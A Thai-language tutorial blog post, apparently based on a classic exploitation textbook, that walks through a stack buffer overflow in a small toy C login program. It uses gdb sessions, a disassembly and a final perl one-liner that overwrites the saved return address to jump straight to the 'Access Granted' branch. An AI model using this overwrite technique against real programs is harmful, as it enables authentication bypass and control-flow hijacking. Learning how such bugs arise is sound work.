root@bt:~/hacking# diff auth_overflow.c auth_overflow2.c 24c24 < if(check_authentication(argv[1])) { --- > if(check_authentication(argv[1]) == 1) {
จากครั้งที่แล้วฟังก์ชั่น check_authentication() ถ้าค่าที่รีเทิร์นกลับมาเป็นเลขจำนวนเต็มใดๆ ที่ไม่เท่ากัน 0 ภาษาซีถือว่าเป็นจริง(true) ดั่งนั้นเพื่อให้มันใจได้ว่าค่าที่รีเทิร์นกลับมามีค่าเท่ากับ 1 จึงต้องได้รับการแก้ไข
root@bt:~/Code/c/hacking# ./auth_overflow AAAAAAAAAAAAAAAAAA -=-=-=-=-=-=-=-=-=-=-=-=-=- Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=- root@bt:~/Code/c/hacking# ./auth_overflow2 AAAAAAAAAAAAAAAAAA Access Denied. root@bt:~/Code/c/hacking# ./auth_overflow2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault root@bt:~/Code/c/hacking#
ผลจากการเปลี่ยนแปลงใน if statement ทำให้เราไม่สามารถใช้วิธีแบบเดิมได้อีกแล้ว แต่นี้ก็เป็นเรื่องที่ดีที่โปรแกรมสามารถทำงานได้ตามที่โปรแกรมเมอร์ต้องการ เอ๊!! แล้วจะทำยังไงดีหล่ะคราวนี้ โชคดีที่เราลองมั่วไปแล้วมันเกิด Segmentation fault ... แล้วมันคืออะไร ความจริงแล้วเราไม่สามารถจะคาดการณ์อะไรกันมันได้เลย แต่มันจะต้องล้นไปทับส่วนที่สำคัญอย่างแน่นอน ลองไปดูการโฟลว์การทำงานในดีบั๊กเกอร์ดีกว่า
oot@bt:~/Code/c/hacking# gdb -q ./auth_overflow2 Reading symbols from /root/Code/c/hacking/auth_overflow2...done. (gdb) list 1 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 int check_authentication(char *password) { 6 char password_buffer[16]; 7 int auth_flag = 0; 8 9 strcpy(password_buffer, password); 10 (gdb) 11 if(strcmp(password_buffer, "nopX90") == 0) 12 auth_flag = 1; 13 if(strcmp(password_buffer, "naruedol") == 0) 14 auth_flag = 1; 15 16 return auth_flag; 17 } 18 19 int main(int argc, char *argv[]) { 20 if(argc < 2) { (gdb) 21 printf("Usage: %s <password>\n", argv[0]); 22 exit(0); 23 } 24 if(check_authentication(argv[1]) == 1) { 25 printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); 26 printf(" Access Granted.\n"); 27 printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); 28 } else { 29 printf("\nAccess Denied.\n"); 30 } (gdb) 31 } 32 (gdb) b 24 Breakpoint 1 at 0x8048522: file auth_overflow2.c, line 24. (gdb) b 9 Breakpoint 2 at 0x80484a1: file auth_overflow2.c, line 9. (gdb) b 16 Breakpoint 3 at 0x80484ef: file auth_overflow2.c, line 16. (gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /root/Code/c/hacking/auth_overflow2 AAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, main (argc=2, argv=0xbffff5a4) at auth_overflow2.c:24 24 if(check_authentication(argv[1]) == 1) { (gdb) i r eip esp ebp eip 0x8048522 0x8048522 <main+46> esp 0xbffff4f0 0xbffff4f0 ebp 0xbffff4f8 0xbffff4f8 (gdb) i f #เรียกดู stack frame ใน main() Stack level 0, frame at 0xbffff500: eip = 0x8048522 in main (auth_overflow2.c:24); saved eip 0xb7e8abd6 source language c. Arglist at 0xbffff4f8, args: argc=2, argv=0xbffff5a4 Locals at 0xbffff4f8, Previous frames sp is 0xbffff500 Saved registers: ebp at 0xbffff4f8, eip at 0xbffff4fc (gdb) x/32xw $esp 0xbffff4f0: 0x08048580 0x00000000 0xbffff578 0xb7e8abd6 0xbffff500: 0x00000002 0xbffff5a4 0xbffff5b0 0xb7fe1858 0xbffff510: 0xbffff560 0xffffffff 0xb7ffeff4 0x0804829c 0xbffff520: 0x00000001 0xbffff560 0xb7ff0626 0xb7fffab0 0xbffff530: 0xb7fe1b48 0xb7fc9ff4 0x00000000 0x00000000 0xbffff540: 0xbffff578 0x2636a37e 0x088b956e 0x00000000 0xbffff550: 0x00000000 0x00000000 0x00000002 0x080483e0 0xbffff560: 0x00000000 0xb7ff6230 0xb7e8aafb 0xb7ffeff4 (gdb)
เบรกพอยต์อันแรกจะอยู่ก่อนหน้า check_authtication() ที่จุดนี้ สแต็กพอยต์เตอร์รีจีสเตอร์ (ESP) จะมีค่าเท่ากัน 0xbffff4f0 และเราได้เข้าไปดูส่วนข้างในของสแต็ก ซึ่งนี้ก็คือสแต็กเฟรมทั้งของฟังก์ชั่ง main()
(gdb) c Continuing. Breakpoint 2, check_authentication (password=0xbffff720 'A' <repeats 28 times>) at auth_overflow2.c:9 9 strcpy(password_buffer, password); (gdb) i f # stack frame ในฟังก์ชั่น check_authentication() Stack level 0, frame at 0xbffff4f0: eip = 0x80484a1 in check_authentication (auth_overflow2.c:9); saved eip 0x8048532 called by frame at 0xbffff500 source language c. Arglist at 0xbffff4e8, args: password=0xbffff720 'A' <repeats 28 times> Locals at 0xbffff4e8, Previous frames sp is 0xbffff4f0 Saved registers: ebp at 0xbffff4e8, eip at 0xbffff4ec #Address ในจะเก็บค่าที่รีเทิร์นกลับไป main() (gdb) x/32xw $esp 0xbffff4cc: 0x08048599 0xb7fca324 0xb7fc9ff4 0x08048580 0xbffff4dc: 0xbffff4f8 0xb7ea34a5 0x00000000 0xbffff4f8 0xbffff4ec: *0x08048532 0xbffff720 0x00000000 0xbffff578 0xbffff4fc: 0xb7e8abd6 0x00000002 0xbffff5a4 0xbffff5b0 0xbffff50c: 0xb7fe1858 0xbffff560 0xffffffff 0xb7ffeff4 0xbffff51c: 0x0804829c 0x00000001 0xbffff560 0xb7ff0626 0xbffff52c: 0xb7fffab0 0xb7fe1b48 0xb7fc9ff4 0x00000000 0xbffff53c: 0x00000000 0xbffff578 0x5ed7afcb 0x706a99db (gdb) x/x &password_buffer 0xbffff4d4: 0xb7fc9ff4 (gdb) x/x &auth_flag 0xbffff4e4: 0x00000000 (gdb) p 0xbffff4ec - 0xbffff4d4 $1 = 24 (gdb) p 24+4 $2 = 28 #ค่าที่ได้จากตัวแปร password_buffer ถึง save registers (gdb) disass main Dump of assembler code for function main: 0x080484f4 <+0>: push ebp 0x080484f5 <+1>: mov ebp,esp 0x080484f7 <+3>: sub esp,0x8 0x080484fa <+6>: cmp DWORD PTR [ebp+0x8],0x1 0x080484fe <+10>: jg 0x8048522 <main+46> 0x08048500 <+12>: mov eax,DWORD PTR [ebp+0xc] 0x08048503 <+15>: mov edx,DWORD PTR [eax] 0x08048505 <+17>: mov eax,0x8048640 0x0804850a <+22>: mov DWORD PTR [esp+0x4],edx 0x0804850e <+26>: mov DWORD PTR [esp],eax 0x08048511 <+29>: call 0x804839c <printf@plt> 0x08048516 <+34>: mov DWORD PTR [esp],0x0 0x0804851d <+41>: call 0x80483cc <exit@plt> 0x08048522 <+46>: mov eax,DWORD PTR [ebp+0xc] 0x08048525 <+49>: add eax,0x4 0x08048528 <+52>: mov eax,DWORD PTR [eax] 0x0804852a <+54>: mov DWORD PTR [esp],eax 0x0804852d <+57>: call 0x8048494 <check_authentication> *0x08048532 <+62>: cmp eax,0x1 0x08048535 <+65>: jne 0x804855d <main+105> 0x08048537 <+67>: mov DWORD PTR [esp],0x8048656 0x0804853e <+74>: call 0x80483ac <puts@plt> 0x08048543 <+79>: mov DWORD PTR [esp],0x8048673 0x0804854a <+86>: call 0x80483ac <puts@plt> 0x0804854f <+91>: mov DWORD PTR [esp],0x8048689 0x08048556 <+98>: call 0x80483ac <puts@plt> 0x0804855b <+103>: jmp 0x8048569 <main+117> 0x0804855d <+105>: mov DWORD PTR [esp],0x80486a5 0x08048564 <+112>: call 0x80483ac <puts@plt> 0x08048569 <+117>: leave 0x0804856a <+118>: ret End of assembler dump.
ทั้งหมดอาจดูสับสน แต่มันแค่เป็นการเข้าไปสำรวจสแต็กเฟรมของฟังก์ชั่น check_authentication() ทำให้เราได้บพบกับ Save register ที่ได้เก็บค่าต่างๆไว้ด้วย function prologue มันทำหน้าที่บันทึกเฟรมต่างไว้บนสแต็กนั้นและ รวมไปถึง (EIP) อยู่ที่ 0xbffff4ec และจะคอยคืนค่าให้กับ EIP หลังจบฟังก์ชั่น check_authentication() แล้วอะไรจะเกิดขึ้นถ้า save register eip ถูกเขียนทับ ? แน่นอนครับมันจะกระโดดไปเอ็กซิคิวต์ค่านั้น
(gdb) c Continuing. Breakpoint 3, check_authentication (password=0xbffff700 "t/Code/c/hacking/auth_overflow2") at auth_overflow2.c:16 16 return auth_flag; (gdb) i f #เช็คสแต็กเฟรมอีกครั้ง Stack level 0, frame at 0xbffff4f0: eip = 0x80484ef in check_authentication (auth_overflow2.c:16); saved eip 0x41414141 called by frame at 0xbffff4f4 source language c. Arglist at 0xbffff4e8, args: password=0xbffff700 "t/Code/c/hacking/auth_overflow2" Locals at 0xbffff4e8, Previous frames sp is 0xbffff4f0 Saved registers: ebp at 0xbffff4e8, eip at 0xbffff4ec (gdb) x/32xw $esp 0xbffff4cc: 0xbffff4d4 0x08048637 0x41414141 0x41414141 0xbffff4dc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff4ec: 0x41414141 0xbffff700 0x00000000 0xbffff578 0xbffff4fc: 0xb7e8abd6 0x00000002 0xbffff5a4 0xbffff5b0 0xbffff50c: 0xb7fe1858 0xbffff560 0xffffffff 0xb7ffeff4 0xbffff51c: 0x0804829c 0x00000001 0xbffff560 0xb7ff0626 0xbffff52c: 0xb7fffab0 0xb7fe1b48 0xb7fc9ff4 0x00000000 0xbffff53c: 0x00000000 0xbffff578 0x5ed7afcb 0x706a99db (gdb) x/x &password_buffer 0xbffff4d4: 0x41414141 (gdb) x/x &auth_flag 0xbffff4e4: 0x41414141 (gdb) x/x 0xbffff4ec 0xbffff4ec: 0x41414141 #ค่าริเทิร์น address ได้ถูกเขียนทับแล้วด้วย 'A' (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i f Stack level 0, frame at 0xbffff4f4: eip = 0x41414141; saved eip 0xbffff700 called by frame at 0x41414149 Arglist at 0xbffff4ec, args: Locals at 0xbffff4ec, Previous frames sp is 0xbffff4f4 Saved registers: eip at 0xbffff4f0 (gdb) x/i $eip => 0x41414141: Cannot access memory at address 0x41414141 (gdb) c Continuing. Program terminated with signal SIGSEGV, Segmentation fault. The program no longer exists. (gdb)
จาก gdb ทำให้เราได้เห็นถึงตัวการที่ทำให้เกิด Segmentation fault. เหตุการณ์แบบนี้เป็นเรื่องที่ไม่ดีเท่าไหร่บนเซฟเฟรมพอยน์เตอร์ ที่ถูกคอมไฟล์ด้วย -fomit-frame-pointer แล้วมันจะเกิดอะไรขึ้นถ้าคุณใช้มันอย่างชาญฉลาด
#========: ละไว้มันยาว :======== 0x0804852d <+57>: call 0x8048494 <check_authentication> 0x08048532 <+62>: cmp eax,0x1 0x08048535 <+65>: jne 0x804855d <main+105> 0x08048537 <+67>: mov DWORD PTR [esp],0x8048656 0x0804853e <+74>: call 0x80483ac <puts@plt> 0x08048543 <+79>: mov DWORD PTR [esp],0x8048673 0x0804854a <+86>: call 0x80483ac <puts@plt> 0x0804854f <+91>: mov DWORD PTR [esp],0x8048689 0x08048556 <+98>: call 0x80483ac <puts@plt> 0x0804855b <+103>: jmp 0x8048569 <main+117> 0x0804855d <+105>: mov DWORD PTR [esp],0x80486a5 0x08048564 <+112>: call 0x80483ac <puts@plt>
ตัวหนังสือหนาเป็น address ที่เก็บคำสั่งที่ใช้แสดงคำว่า Access Granted. เริ่มต้นที่ 0x08048537 แล้วมันสำคัญยังไงหล่ะ ? แน่นอนครับถ้าเราสามารถนำมันไปว่าไว้บน save register eip ได้ก่อนที่มันจะรีเทิร์นค่าให้กลับ EIP แบบพอดี แล้วจากได้รับค่า รีเทิร์นแอดเดรสหลังจบฟังก์ชั่น check_authentication() step ต่อมา EIP จะต้องเอ็กซีคิวต์คำสั่งที่มันกำลังชี้อยู่ ใช่แล้วเรากำลังจะบังคับให้ EIP ชี้ไปยังตำแหน่งที่เราต้องการ
root@bt:~/hacking# ./auth_overflow2 $(perl -e 'print "\x37\x85\x04\x08"x10') -=-=-=-=-=-=-=-=-=-=-=-=-=- Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=-
เย้ !!! ถึงแม้การทำให้ได้คำว่า Access Granted. อาจดูไม่มีประโยชน์เท่าไหร่ แต่เราได้เรียนรู้ถึงเทคนิคใหม่ๆ แน่นอนคับเทคนิคนี้สามรถสร้างประโยชน์ได้เยอะ ถ้าเราสามารถคุมโฟลว์การเอ็กซีคิวได้